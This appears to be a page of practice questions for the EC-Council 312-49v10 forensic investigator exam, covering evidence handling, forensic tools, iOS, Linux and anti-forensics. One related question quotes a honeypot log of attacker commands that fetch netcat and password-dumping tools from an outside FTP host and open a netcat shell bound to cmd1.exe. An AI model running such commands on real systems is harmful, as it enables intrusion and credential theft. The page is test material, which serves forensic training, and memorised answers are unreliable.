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ECCouncil 312-49v10 Practice Test - Questions Answers, Page 67

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Question 661

(0)

You are an information security analyst at a large pharmaceutical company. While performing a routine review of audit logs, you have noticed a significant amount of egress traffic to various IP addr

Question 662

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Choose the layer in iOS architecture that provides frameworks for iOS app development?

Question 663

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Data density of a disk drive is calculated by using_______

Question 664

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Web browsers can store relevant information from user activities. Forensic investigators may retrieve files, lists, access history, cookies, among other digital footprints. Which tool can contribute

Question 665

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For the purpose of preserving the evidentiary chain of custody, which of the following labels is not appropriate?

Question 666

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This is a statement, other than one made by the declarant while testifying at the trial or hearing, offered in evidence to prove the truth of the matter asserted. Which among the following is suitab

Question 667

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The information security manager at a national legal firm has received several alerts from the intrusion detection system that a known attack signature was detected against the organization's file s

Question 668

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Which of the following is the most effective tool for acquiring volatile data from a Windows-based system?

Question 669

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Which of the following directory contains the binary files or executables required for system maintenance and administrative tasks on a Linux system?

Question 670

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Which set of anti-forensic tools/techniques allows a program to compress and/or encrypt an executable file to hide attack tools from being detected by reverse-engineering or scanning?

Related questions

Report writing is a crucial stage in the outcome of an investigation. Which information should not be included in the report section?

William is examining a log entry that reads 192.168.0.1 - - [18/Jan/2020:12:42:29 +0000) "GET / HTTP/1.1" 200 1861. Which of the following logs does the log entry belong to?

During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore, you report this evidence. This type of evidence is known as:

What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?

In Windows, prefetching is done to improve system performance. There are two types of prefetching: boot prefetching and application prefetching. During boot prefetching, what does the Cache Manager do?

In which of these attacks will a steganalyst use a random message to generate a stego-object by using some steganography tool, to find the steganography algorithm used to hide the information?

An Employee is suspected of stealing proprietary information belonging to your company that he had no rights to possess. The information was stored on the Employees Computer that was protected with the NTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekend. You detain the Employee before he leaves the building and recover the floppy disks and secure his computer. Will you be able to break the encryption so that you can verify that that the employee was in possession of the proprietary information?

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below. "cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom" "cmd1.exe /c ftp -s:ftpcom" "cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given?

You are working as an investigator for a corporation and you have just received instructions from your manager to assist in the collection of 15 hard drives that are part of an ongoing investigation. Your job is to complete the required evidence custody forms to properly document each piece of evidence as it is collected by other members of your team. Your manager instructs you to complete one multi-evidence form for the entire case and a single-evidence form for each hard drive. How will these forms be stored to help preserve the chain of custody of the case?

Which of the following is a precomputed table containing word lists like dictionary files and brute force lists and their hash values?

Question 661

You are an information security analyst at a large pharmaceutical company. While performing a routine review of audit logs, you have noticed a significant amount of egress traffic to various IP addresses on destination port 22 during off- peak hours. You researched some of the IP addresses and found that many of them are in Eastern Europe. What is the most likely cause of this traffic?

Malicious software on internal system is downloading research data from partner 5FTP servers in Eastern Europe

Internal systems are downloading automatic Windows updates

Data is being exfiltrated by an advanced persistent threat (APT)

The organization's primary internal DNS server has been compromised and is performing DNS zone transfers to malicious external entities

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Question 662

Choose the layer in iOS architecture that provides frameworks for iOS app development?

Media services

Cocoa Touch

Core services

Core OS

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Question 663

Data density of a disk drive is calculated by using_______

Slack space, bit density, and slack density.

Track space, bit area, and slack space.

Track density, areal density, and slack density.

Track density, areal density, and bit density.

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Question 664

Web browsers can store relevant information from user activities. Forensic investigators may retrieve files, lists, access history, cookies, among other digital footprints. Which tool can contribute to this task?

Most Recently Used (MRU) list

MZCacheView

Google Chrome Recovery Utility

Task Manager

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Question 665

For the purpose of preserving the evidentiary chain of custody, which of the following labels is not appropriate?

Relevant circumstances surrounding the collection

General description of the evidence

Exact location the evidence was collected from

SSN of the person collecting the evidence

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Question 666

This is a statement, other than one made by the declarant while testifying at the trial or hearing, offered in evidence to prove the truth of the matter asserted. Which among the following is suitable for the above statement?

Testimony by the accused

Limited admissibility

Hearsay rule

Rule 1001

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Question 667

The information security manager at a national legal firm has received several alerts from the intrusion detection system that a known attack signature was detected against the organization's file server. What should the information security manager do first?

Report the incident to senior management

Update the anti-virus definitions on the file server

Disconnect the file server from the network

Manually investigate to verify that an incident has occurred

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Question 668

Which of the following is the most effective tool for acquiring volatile data from a Windows-based system?

Coreography

Datagrab

Ethereal

Helix

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Question 669

Which of the following directory contains the binary files or executables required for system maintenance and administrative tasks on a Linux system?

/sbin

/bin

/usr

/lib

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Question 670

Which set of anti-forensic tools/techniques allows a program to compress and/or encrypt an executable file to hide attack tools from being detected by reverse-engineering or scanning?

Packers

Emulators

Password crackers

Botnets

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